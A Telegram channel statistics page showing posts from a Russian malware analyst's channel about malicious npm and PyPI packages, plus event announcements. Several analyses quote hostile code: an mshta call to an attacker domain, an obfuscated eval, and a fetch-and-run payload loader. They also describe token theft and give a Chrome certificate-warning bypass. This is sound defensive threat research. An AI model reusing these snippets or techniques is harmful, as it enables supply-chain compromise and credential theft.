disasm.me channel
前往频道在 Telegram
Канал вирусного аналитика, занимающегося безопасностью опенсорса и технологиями искусственного интеллекта. Плюс заметки по аспирантуре :) Автор: @hexadec1mal В чате сидит Guard-бот, будьте внимательнее.
显示更多2 473
订阅者
无数据24 小时
+127 天
+2930 天
数据加载中...
吸引订阅者
七月 '26
七月 '26
+17
在0个频道中
六月 '26
+50
在1个频道中
Get PRO
五月 '26
+57
在1个频道中
Get PRO
四月 '26
+56
在0个频道中
Get PRO
三月 '26
+85
在1个频道中
Get PRO
二月 '26
+71
在0个频道中
Get PRO
一月 '26
+302
在0个频道中
Get PRO
十二月 '25
+75
在3个频道中
Get PRO
十一月 '25
+76
在2个频道中
Get PRO
十月 '25
+86
在2个频道中
Get PRO
九月 '25
+50
在1个频道中
Get PRO
八月 '25
+100
在7个频道中
Get PRO
七月 '25
+99
在9个频道中
Get PRO
六月 '25
+34
在0个频道中
Get PRO
五月 '25
+59
在1个频道中
Get PRO
四月 '25
+84
在1个频道中
Get PRO
三月 '25
+112
在15个频道中
Get PRO
二月 '25
+56
在0个频道中
Get PRO
一月 '25
+61
在0个频道中
Get PRO
十二月 '24
+130
在0个频道中
Get PRO
十一月 '24
+265
在2个频道中
Get PRO
十月 '24
+50
在0个频道中
Get PRO
九月 '24
+61
在1个频道中
Get PRO
八月 '24
+51
在0个频道中
Get PRO
七月 '24
+170
在6个频道中
Get PRO
六月 '24
+31
在0个频道中
Get PRO
五月 '24
+61
在2个频道中
Get PRO
四月 '24
+43
在0个频道中
Get PRO
三月 '24
+42
在0个频道中
Get PRO
二月 '24
+49
在3个频道中
Get PRO
一月 '24
+54
在0个频道中
Get PRO
十二月 '23
+68
在0个频道中
Get PRO
十一月 '23
+63
在0个频道中
Get PRO
十月 '23
+43
在0个频道中
Get PRO
九月 '23
+529
在0个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 08 七月 | 0 | |||
| 07 七月 | 0 | |||
| 06 七月 | +8 | |||
| 05 七月 | +2 | |||
| 04 七月 | +1 | |||
| 03 七月 | +2 | |||
| 02 七月 | +3 | |||
| 01 七月 | +1 |
频道帖子
Лето, парк, CyberCamp ❤️❤️
В следующую пятницу (17 июля) друзья из CyberCamp организовывают ИБ-мероприятие на свежем воздухе в парке в Строгино
Трансляции не будет, да и лучше очно послушать последние изыскания Зыбнева (ведёт канал Похек) по ИИ-инструментам или про ИИ-багхантеров на Позитивной платформе Standoff)
Я схожу 🐈 В программе 10 докладов по научпопу, ИИ, багбаунти. Темы докладов и спикеры — моё почтение
Билеты стоят 1000 рублей (студенческие — 500), деньги идут на благотворительность. Для вас, мои любимые читатели, до 9 июля 23:59 будет действовать промокод на 50%:
LETODIS50.
Сайт мероприятия
@disasm_me_ch| 2 | Кто-то сказал sandbox? 👀
В очередной раз наблюдаем, как злоумышленники проводят неэтичные ресерчи.
Дано:
Исследователь по безопасности Nicholas Curran
Он опубликовал пакеты с интересными названиями:
🌟2 пакета npm-sandbox-ping-[4 символа]
🌟8 пакетов npm-sandbox-research-[4 символа]
🌟postinstall-logger-7x9z
🌟pkg-telemetry-r4f9
🌟runtime-metrics-w7k2
🌟event-metrics-q3x7
🌟build-tracker-n5p1
Согласно описанию (скриншот 1), эти пакеты созданы в рамках багбаунти-программы.
Автор заявляет, что:
🔗Пакеты безопасны.
🔗Все чувствительные данные перед отправкой хэшируются — не происходит никакого разглашения секретов.
🔗Пакеты не выполняют закрепления в системе, перемещения в сети и деструктивных действий.
🔗Цель исследования: изучить, изолирует ли npm-песочница небезопасные установочные скрипты.
Ресерч безопасности песочниц? Такое мы любим. Давайте посмотрим, как это реализовано.
Нагрузка стартует дважды: до и после установки пакета (скриншот 2). За Windows-логику отвечает beaconXX.js, все остальные платформы обрабатываются beacon_linux.js. Даже macOS.
Логика под Windows
beaconXX.js (скриншот 3):
1️⃣ Эксплуатирует известный обход UAC через fodhelper.exe. Для этого, помимо запуска файла, необходимо внести изменения в реестр Windows.
2️⃣ Дропает PowerShell-скрипт в %TEMP% и запускает его с повышенными привилегиями.
PowerShell-скрипт:
1️⃣ Удаляет внесенные в реестр изменения.
2️⃣ Собирает:
🐟 артефакты, специфичные для изучаемой песочницы, с диска D, в том числе файл findings.xml;
🐟 список секретов из Credential Manager;
🐟 npm config list — сюда попадают в том числе токены аутентификации для учетной записи npm;
🐟 все переменные окружения.
3️⃣ Заметает следы, перезаписывая findings.xml следующим текстом:
<ArrayOfTaskFinding></ArrayOfTaskFinding>
4️⃣ Собранные данные кодирует в base64 и просто отправляет на управляющий сервер... без хэширования, о котором заявлено в README.md 🤪
5️⃣ В вечном цикле каждые 5 секунд обращается к управляющему серверу за командами на исполнение.
Учитывая, как код пытается вмешаться в работу песочницы, можно предположить, что это кастомная песочница с агентом наподобие Cuckoo Sandbox.
Логика под non-Windows
beacon_linux.js (скриншот 4):
1️⃣ Собирает:
🐟 список имён всех переменных окружения;
🐟 значения интересных переменных окружения, связанных с GitHub, NPM, раннерами, пользователем;
🐟 список сетевых интерфейсов.
2️⃣ Проверяет возможности для побега из контейнера, собирая:
🐟 содержимое /proc/1/cgroup (информация об ограничениях контейнера);
🐟 команду запуска процесса с PID 1;
🐟 список примонтированных томов.
🐟 набор capabilities своего процесса;
🐟 наличие /var/run/docker.sock (позволяет управлять Docker с потенциалом полностью захватить устройство);
🐟 доступ к /proc/sched_debug (позволяет разведать процессы, запущенные на хосте).
3️⃣ Собирает артефакты, связанные с CI/CD: список файлов текущего проекта и /home/runner/work, логи GitHub.
4️⃣ Отправляет отчет на управляющий сервер.
Заключение
Пакеты не соответствуют благим целям, о которых нам заявляли в README.md, — поэтому мы зарепортили админам NPM об этом недоразумении.
Странно видеть такое поведение от багхантера, имеющего учетную запись на HackerOne с 2017 🤔
Хотите проверить свои проекты на наличие вредоносных внешних зависимостей? Попробуйте фиды для безопасной разработки из PT Fusion.
#ti #scs #npm
@ptescalator | 394 |
| 3 | 没有文字... | 1 243 |
| 4 | Занятное-актуальное хромовское
Сталкиваюсь с ру-сайтами, которые не успели отреагировать на недавнюю волну с отзывом сертификатов GlobalSign. Chrome обычно на проблемы с сертификатами разрешает нажать "I accept the risk" и дальше продолжить пользоваться сайтом, но не в этом случае — для отозванных сертификатов или нарушения политики HSTS такой кнопки просто нет 😑
Но, если очень нужно, в Chrome на странице ошибки можно набрать фразу "thisisunsafe" ("this is unsafe" — "это небезопасно") — и тогда браузер перестанет с вами бороться 😊
Проверить поведение браузера на отозванный сертификат: https://revoked.badssl.com/
Ну и предупреждаю, что в каждом отдельном случае вам нужно сознательно проверить (погуглить), почему у сайта возникли проблемы с сертификатом — вдруг это хахакеры вас митмят
@disasm_me_ch | 1 115 |
| 5 | Абьюз site-packages: strikes back
Мы с вами уже разбирали, что злоумышленники используют для закрепления стандартный модуль Python site — в атаке TeamPCP на LiteLLM. Нашёл ещё один кейс, который не будет ловиться простым правилом "возбуждаемся на .pth-файлы"
Дано: PyPI-пакет temp-development-package-test 🤨
Во время установки пакета исполняется код на скриншоте 1.
Его задача — скопировать заранее подготовленный файл sitecustomize.py в каталог site-packages. По-хорошему этот файл является конфигурационным модулем для site, но в него можно положить любой Python-код, чем и пользуется злоумышленник. В итоге возникает такая же ситуация, как и с .pth-файлами: исполнение кода при каждом запуске интерпретатора без виртуального окружения.
Сам вредоносный sitecustomize.py — двухстрочник:
import os
os.system('cmd /c "mshta http://[threat actor domain]"')
Non-Windows-юзеры, можем спать спокойно. mshta — это Windows-инструмент, который умеет исполнять VBScript-, JavaScript- и HTA-скрипты.
Злоумышленник смекалистый: если обратиться к странице с юзер-агентом не от mshta, то нам вернут просто заглушку с подключённым Cloudflare Insights для сбора базовой информации о браузере 😱
Если передать ожидаемый юзер-агент, скачивается VBScript, который содержит два файла, представленные в base64 — легитимный CameraSettingsUIHost.exe, уязвимый к DLL Side-Loading, и DLL-библиотеку со следующим стейджем.
———
Такая кампания выглядит ближе к традиционному киберкрайму: тот же DLL Side-Loading привычно видеть во вредоносных кампаниях, не связанных с опенсорсом... Интересно, зачем при таких навыках злоумышленник ограничился только Windows-юзерами 👃
#pypi #scs
@disasm_me_ch | 1 216 |
| 6 | 🤔
Нашёл этот шедевр. Кто-то похоже игрался с процентами — и проиграл
Вайбкодовый мир победил, антропик оказался сильней
@disasm_me_ch | 1 369 |
| 7 | 😑
Смартфон в кармане решил форварднуть текст из первого закреплённого чата в идущие за ним закреплённые чаты
Меня не взломали, и это не CTF-таска. Спасибо за бдительность) | 1 284 |
| 8 | 桌子 下面 的 秘密
我家 有 一张 桌子 和 两把 椅子 。桌子 上 有 一台 电脑 和 一台 电视 ,还有 一本 书 。
可是, 桌子 下面 有 什么? 那儿 不 只 有 灰尘 ,还有 一只 猫 和 一只 狗 的 小玩具 。猫 和 狗 一起 睡觉 ,玩得 很 开心 。
每次 我 坐在 椅子 上 , 都能 看到 桌子 下面 的 秘密 。我 觉得 很 有趣 , 现在 你 想 看 吗 ? | 262 |
| 9 | Вышел Positive Research 2026, №2
Там есть статья за авторством вашего слуги опенсорса 🤗
Цифровая гигиена разработчика: стараемся не попасться на удочку злоумышленника
Страницы 85-107
Советую в принципе глянуть этот и другие выпуски: каждый из них является дизайнерским искусством, да и авторы рассказывают интересные темы)
У меня есть три физические копии журнала. Хочу их подарить трём счастливчикам, которые до 23 июня напишут комментарий к посту, где будет фигурировать слово "журнал" 😑
@disasm_me_ch | 1 629 |
| 10 | Помните кейс LiteLLM?
Мы дропаем OMCBench (Open Malicious-Code Benchmark) - бенчмарк оценки качества по обнаружению вредоносного кода:
- 3 языка: Python, JavaScript, TypeScript
- 400 вредоносных пакетов, 400 чистых из pypi/npm
- пофайловая LLM разметка, о которой говорили на OFFZONE прошлым летом
- Открытая лицензия, BSD-2
Открытые решения на нем набирают не больше 75% F1, выдавая ~50% False Positive результатов...
Те, кто уже нажал звездочку на гитхабе, могли заметить, что в таблице мы также анонсим MOLOT - нашу модель для решения этого класса задач. Ловите блогпост, а на подходе arxiv статья с подробностями про анализ графов вызовов бертами, LLM разметку и выкатку в prod!
Ждите дроп статьи в канале, stay tuned! | 1 126 |
| 11 | Ощущаю первые последствия недавней презентации от Google
Слева — старая вкладка в Google Slides, справа — новая
Эх, я слишком стар, чтобы раз в пару лет вновь привыкать к новому оформлению | 1 206 |
| 12 | Google Slides пока ещё не готов к этим вашим новомодным веяниям | 1 998 |
| 13 | В инфополе активно форсится мемная идея, что для защиты от кампаний TeamPCP надо поставить русскоязычную локаль.
Как выглядит проверка в рамках кампании mistralai:
try:
lang = os.environ.get('LANG', '').split('.')[0]
_log(f"LANG environment variable: {lang}")
if lang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")
sys.exit(1)
_log("Russia check passed")
except Exception as e:
_log(f"Russia check exception (continuing): {e}")
Переменная окружения LANG не существует под Windows. Благо ранее есть ещё одна проверка:
_log("Starting main checks")
_log(f"Platform: {sys.platform}")
if sys.platform not in ('linux'):
_log("Platform check failed: not Linux, exiting")
sys.exit(1)
_log("Platform check passed")
Виндоводы — выдыхаем. У меня arch Linux Mint btw и проверку я бы не прошёл — LANG у меня имеет значение en_US.UTF-8. Пора исправляться
#pypi #scs
@disasm_me_ch | 1 590 |
| 14 | Смотрю mistralai, там группировка TeamPCP настолько развлекается, что вместе с троянами выпускает свой файл LICENSE:
Перевод на русский:
---------------------------------------------------------------------------------
ЛИЦЕНЗИОННОЕ СОГЛАШЕНИЕ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ CLOUDWARE (EULA) — ВЕРСИЯ v0.0.1
---------------------------------------------------------------------------------
Путём модификации, распространения или обратной разработки данного программного обеспечения во всех планах бытия — включая, но не ограничиваясь физическим, астральным, цифровым и посмертным планами — вы настоящим безотзывно соглашаетесь со следующими условиями:
1. ПЕРЕДАЧА ДУШИ
По прекращении ваших биологических функций (далее — «Смерть») полное юридическое и метафизическое право собственности на вашу бессмертную душу (далее — «Актив») безоговорочно переходит к авторам-разработчикам данного программного обеспечения. Данная передача является обязательной во всех известных и неизвестных загробных мирах, измерениях, реинкарнациях и теологических системах, независимо от ваших личных убеждений на момент «Смерти».
2. ОБЪЁМ ПЕРЕДАЧИ
«Душа» определяется широко и включает, без ограничения: ваше сознание, кармический баланс и дух. Поддуши, фрагменты души и крестражи включены.
3. ВОЗВРАТ НЕВОЗМОЖЕН
Актив не подлежит возврату и передаче после его получения. Апелляции к высшей силе будут перенаправлены в астральный аналог /dev/null.
4. ПРИМЕНИМОЕ ПРАВО
Настоящее соглашение регулируется законами Подземного мира, записей Акаши и где бы ни оказался оригинальный автор. Любые споры будут разрешаться посредством судебного поединка на астральном плане со всеми авторами-разработчиками.
5. ОТДЕЛИМОСТЬ
Если какое-либо положение настоящего соглашения будет признано неисполнимым любым судом, божеством или космическим трибуналом, остальные положения продолжают действовать в полном объёме.
ОРИГИНАЛЬНЫЙ АВТОР СОХРАНЯЕТ ЗА СОБОЙ ПРАВО ВНОСИТЬ ИЗМЕНЕНИЯ В ДАННЫЕ УСЛОВИЯ В ЛЮБОЕ ВРЕМЯ, ВКЛЮЧАЯ ПОСМЕРТНО.
---------------------------------------------------------------------------------
#pypi #scs
@disasm_me_ch | 1 297 |
| 15 | Всем привет 👋.
Инсека и Технологии киберугроз приглашают вас на CTI meetup #5.
🍻 обсуждаем рабочие моменты, делимся опытом
📆 23 мая, 14:00-20:00
📍 Место: Лофт «Москва» по адресу Москва, Берсеневская набережная, 6с3
Программа CTI meetup #5:
Сбор гостей 13:30-14:00
Начало выступлений 14:00
1. Threat Hunting в опенсорсе: злоумышленники используют ИИ, мы тоже, но есть нюанс
Раковский Станислав (руководитель группы Supply Chain Security в Positive Technologies)
2. Хватит «приручать фиды»: что реально работает в телекоме
Елютин Павел (руководитель направления анализа киберугроз, Билайн)
Снежков Александр (эксперт по анализу киберугроз, Билайн)
3. Докладчик уточняется
🍻 Кофе-брейк 15:30-16:00
4. Практический CTI 2.0: добро пожаловать в Cyberpunk. Ну почти.
Мешков Андрей (независимый эксперт)
5. Квиз
✌️17:00-20:00 С вас общение, с нас пиво.
Мы рады будем видеть всех желающих, но к сожалению, количество мест ограничено размерами помещения.
👉🏼 Зарегистрироваться | 784 |
| 16 | sticker.webp | 660 |
| 17 | Злоумышленник публикует .bash_history смотреть без регистрации и смс 😱
Команда Supply Chain Security отправила отчет администрации реестра npm о занятной маленькой кампании против Apple, среди них:
• apple-infra-network-v2 (170 скачиваний на момент репорта)
• apple-infra-final-escape (326 скачиваний)
• apple-infra-gcp-leak (165 скачиваний)
• apple-infra-ultimate-bypass (153 скачивания)
• agents-a365-runtime — мимикрия под пакет @microsoft/agents-a365-runtime (447 скачиваний)
• apple-security-internal-scanner-v3 (185 скачиваний)
• apple-coredata-internal-service (367 скачиваний)
Часть проектов первой волны лаконична и состоит из одного файла package.json весом менее 1 килобайта (скриншот 1).
Bash-однострочник:
🌟Получает содержимое /etc/resolv.conf — DNS-конфигурацию устройства.
🌟Проверяет возможность разрезолвить домен internal.apple.com через nslookup / host.
🌟Забирает записи ARP-кеша (таблицы сопоставлений ip-адресов на MAC-адреса).
🌟Обращает внимание на следующие переменные окружения по маске: *PROXY*, *TENCENT*, *REGION*, *ZONE*.
Смысл переменных окружения:
PROXY* — забрать настройки корпоративных прокси (HTTP_PROXY, HTTPS_PROXY и другие). Там может попасться значение наподобие http://proxy[.]departmentname.companyname[.]local, позволяющее детальнее идентифицировать жертву;
TENCENT* — вероятно признак инфраструктуры Tencent Cloud
REGION и ZONE — переменные окружения, в которой может храниться местоположение облака, например eu-west-1
Этот отчет обрамляется текстом --- NETWORK PIVOT AUDIT --- и --- AUDIT SELESAI --- (индонезийский «Отчет окончен») и отправляется автору пакета.
———
Легко можно поверить, что это пентест- либо багбаунти-активность против Apple: аккуратно собирается отпечаток жертвы, без информации, которая представляла бы коммерческую ценность.
Однако часть дальнейших релизов имеют занятную логику (скриншот 2):
1️⃣ Попытка украсть значение одной из переменных окружения в следующем порядке: NPM_TOKEN, NODE_AUTH_TOKEN, GITHUB_TOKEN, NPM_AUTH_TOKEN. Если их нет, то попробуем взять authToken из файла ~/.npmrc
2️⃣ Надеясь, что у окружения есть доступ к внутреннему хранилищу npm-пакетов, попытка скачать пакет apple-app-store-server-library, пересобрать его с новой версией и опубликовать в глобальном npmjs.org
Our honest reaction на второй пункт: 🤔 Ну и индонезийских комментариев стало больше.
———
По мере развития кампании злоумышленник перестал пускать в глаза пыль благих намерений и стал просто красть все интересные переменные окружения, а также забирать токены Azure IMDS.
В какой-то момент автор, тестируя логику публикации пакета от имени жертвы, случайно упаковал в один из своих релизов все свои скрипты, node-логи и даже .bash-history 🤔 (скриншот 3).
При изучении команд создается четкое ощущение, что мы столкнулись с работой агентской системы по автоматизации проведения пентестов. Лишь сильнейшие из людей могут писать команды наподобие:
echo 'длинный валидный однострочный package.json c инфостилером в preinstall-логике' > package.json && npm publish
В bash history также попали комментарии. Их мог оставить сам злоумышленник, копируя команды из диалога с LLM, а мог и сам агент:
// Masukin ini ke dalam script preinstall lu
# Nyari di mana lokasi instalasi npm lo
# Biasanya hasilnya di /usr/bin/npm. Sekarang kita liat isinya:
В переводе на английский:
// Enter this into your preinstall script
# Find your npm installation location
# Usually, it's in /usr/bin/npm. Now let's look at the contents:
———
На дворе 2026 год. Фреймворки для автопентеста уже существуют. Blue team тоже не отстает и предлагает свои решения по использованию LLM в тех же SIEM. Пройдет время, и нам, человекам, останется только с попкорном смотреть за этим противостоянием 🍿
#npm #ti #scs
@ptescalator | 661 |
| 18 | Не так давно я писал про Позитивный курс по ML для сотрудников и соревнование, которое проходило в его рамках. Долго ли, коротко ли, курс был пройден 🏃♀️
Мне подарили крутую термобутылку и электронным (но увы не ИИ) функционалом. Предлагаю вам отгадать в комментариях, что это за железяка в крышке бутылки. Принимаются только неправильные ответы 👃
@disasm_me_ch | 984 |
| 19 | Красивое 🥰
Три npm-проекта с трёх разных учёток объединились спустя несколько месяцев ради сложной атаки в 2026:
options-msg (автор: mid)
Опубликованы 6 версий с зашифрованными пейлоадами (рис. 1)
meta-templates (автор: john)
Опубликованы 3 версии, содержат функцию расшифровки пейлоада через AES-256-CBC — getMetaData.
winston-middleware (автор: kasher03)
Оркестратор. На нём остановимся подробнее.
winston-middleware
На первый взгляд всё выглядит спокойно (рис 2). Нас встречает index.js примерно на 500 строк. Вполне нормальный проект, настраивающий продвинутый логгер.
На строках 258-263 становится немного подозрительно:
function makeSignature() {
return function (payload) {
void payload
const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]
return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)
}
}
Используется массив metrics, определённый на строках 35-41 (рис 3):
var metrics = [
'echo',
'vertex',
'length',
'delta',
'alpha',
];
Такс, функция makeSignature... а попробуйте решить сами 🐈⬛ Ответ: берёт слова "echo", "vertex", "alpha", "length" из массива, извлекает первый символ этих слов ("e", "v", "a", "l"), конкатенирует в "eval", запускает globalThis["eval"](payload), получая выполнение payload как JavaScript-кода 🏃♂️
Функция ensureValidOptions (объявлена на строке 461) запустится в момент импорта библиотеки и вызовет ранее упомянутую makeSignature (код упростил):
function ensureValidOptions(options) {
try {
var metaData = getMetaData(OPTIONS_MSG_PAYLOAD, options.metaField); // расшифрует нагрузку
makeSignature()(metaData.replace("session", options.msg)); // исполнение нагрузки eval-ом
} catch (err) {
}
...
Нагрузка
До 5 февраля 2026 нагрузка хранилась на IPFS, а после 11 февраля — на GitHub.
URL помещается в такую обёртку, которая будет запущена eval-ом:
fetch(`url`).then(a=>a.text()).then(b=>{const fn = new Function("_0x41c615", b);fn("session");});
Будет скачан серьёзно обфусцированный js, скрывающий в себе инфостилер + троян-загрузчик 🤢
———
Очень сложная и красивая кампания, которая реализована с умом 🚶♀️
#malware #npm #js #ti #scs
@disasm_me_ch | 1 367 |
| 20 | CVE-2026-31431
Красивая и простая LPE под большинство популярных Linux-дистрибутивов.
Репорт и эксплоит: https://xint.io/blog/copy-fail-linux-distributions
Уязвимось позволяет непривилегированному пользователю перезаписать выбранные 4 байта в cache page любого файла. Например, пропатчить в памяти /usr/bin/su, чтобы обойти его проверку.
Фикс: обновить ядро / пропатчить ядро / применить хотфикс. Всё есть в статье.
Хорошего начала дня)
@disasm_me_ch | 1 413 |
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
